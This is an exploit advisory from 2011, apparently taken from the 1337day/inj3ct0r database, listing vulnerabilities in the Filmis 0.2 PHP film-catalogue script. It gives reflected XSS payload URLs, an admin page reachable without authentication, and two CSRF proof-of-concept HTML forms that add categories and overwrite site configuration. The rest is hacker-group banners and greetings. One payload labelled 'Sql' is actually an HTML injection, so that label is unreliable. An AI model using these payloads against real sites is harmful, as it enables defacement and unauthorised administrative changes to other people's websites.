========================================= Filmis - Version 0.2 Mullti Vulnerability ========================================= 1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=0 0 . .--. .--. .---. . 1 1 .'| ) ) / | 0 0 | --: --: / .-.| .-. . . 1 1 | ) ) / ( |( ) | | 0 0 '---' `--' `--' ' `-'`-`-'`-`--| 1 1 ; 0 0 Site : 1337day.com `-' 1 1 Support e-mail : submit[at]inj3ct0r.com 0 0 >> Exploit database separated by exploit 1 1 type (local, remote, DoS, etc.) 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=1 ####################################################### # Vendor: http://mohshow.fr.cr/forum/downloads/filmis-0.2beta.zip # Date: 2011-07-27 # Author : indoushka +++=[ Dz Offenders Cr3w ]=+++ # KedAns-Dz * Caddy-Dz * Kalashinkov3 # Jago-dz * Kha&miX * T0xic * Ev!LsCr!pT_Dz # Contact : ind0ushka@hotmail.com # Tested on : win SP2 + SP3 Fr / Back | Track 5 fr ######################################################################## # Exploit By indoushka ------------- XSS : http://localhost/filmis/index.php?nb=1%3cScRiPt%20%3eprompt%28972579%29%3c%2fScRiPt%3e Sql : http://localhost/filmis/index.php?nb=%3Cmarquee%3E%3Ch1%3EHacked%3C/h1%3E%3C/marquee%3E by Pass : http://localhost/filmis/admin/header.php CSRF Add categorie: <div id="content"> <h1>Ajouter une cat&eacute;gorie</h1> <form action="http://localhost/filmis/admin/ajouter-categorie.php" method="post"> <fieldset> <label for="one">Nom de la cat&eacute;gorie</label> <input type="text" value="" class="small" id="one" name="nom" /> <span>Taper le nom d'une cat&eacute;gorie &agrave; ajouter</span> <input type="submit" value="Valider" class="submit" /> </fieldset> </form> <br class="clear" /> <div class="break"></div> </div> =========================== CSRF Add configuration: <form action="http://localhost/filmis/admin/configuration.php" method="post"> <fieldset> <label for="titre_site">Nom du site</label> <input type="text" value="<?php echo desecure($param->info('titre_site')); ?>" class="small" id="titre_site" name="titre_site" /> <label for="url_site">URL du site</label> <input type="text" value="<?php echo desecure($param->info('url_site')); ?>" class="small" id="url_site" name="url_site" /> <span>URL o&ugrave; est installer Filmis dans votre site. Sans oublier le <i>http://</i> et le <i>/</i> &agrave; la fin.</span> <label for="description_site">Description du site</label> <textarea class="large" id="description_site" name="description_site" rows="10"><?php echo desecure($param->info('description_site')); ?></textarea> <span>Description de votre site afficher dans la page "A propos" et dans la balise META.</span> <label for="apropos">A propos</label> <textarea class="large" id="apropos" name="apropos" rows="10"><?php echo desecure($param->info('apropos')); ?></textarea> <span>Personnalisez la page "A propos" en ajoutant un texte.</span> <input type="submit" value="Valider" class="submit" /> </fieldset> </form> <br class="clear" /> <div class="break"></div> </div> Dz-Ghost Team ===== Saoucha * Star08 * Cyber Sec * theblind74 * XproratiX * onurozkan * n2n * Meher Assel =========================== special thanks to : r0073r (inj3ct0r.com) * L0rd CruSad3r * MaYur * MA1201 * KeDar * Sonic * gunslinger_ * SeeMe * RoadKiller Sid3^effects * aKa HaRi * His0k4 * Hussin-X * Rafik * Yashar * SoldierOfAllah * RiskY.HaCK * Stake * r1z * D4NB4R * www.alkrsan.net MR.SoOoFe * ThE g0bL!N * AnGeL25dZ * ViRuS_Ra3cH * Sn!pEr.S!Te ---------------------------------------------------------------------------------------------------------------------------------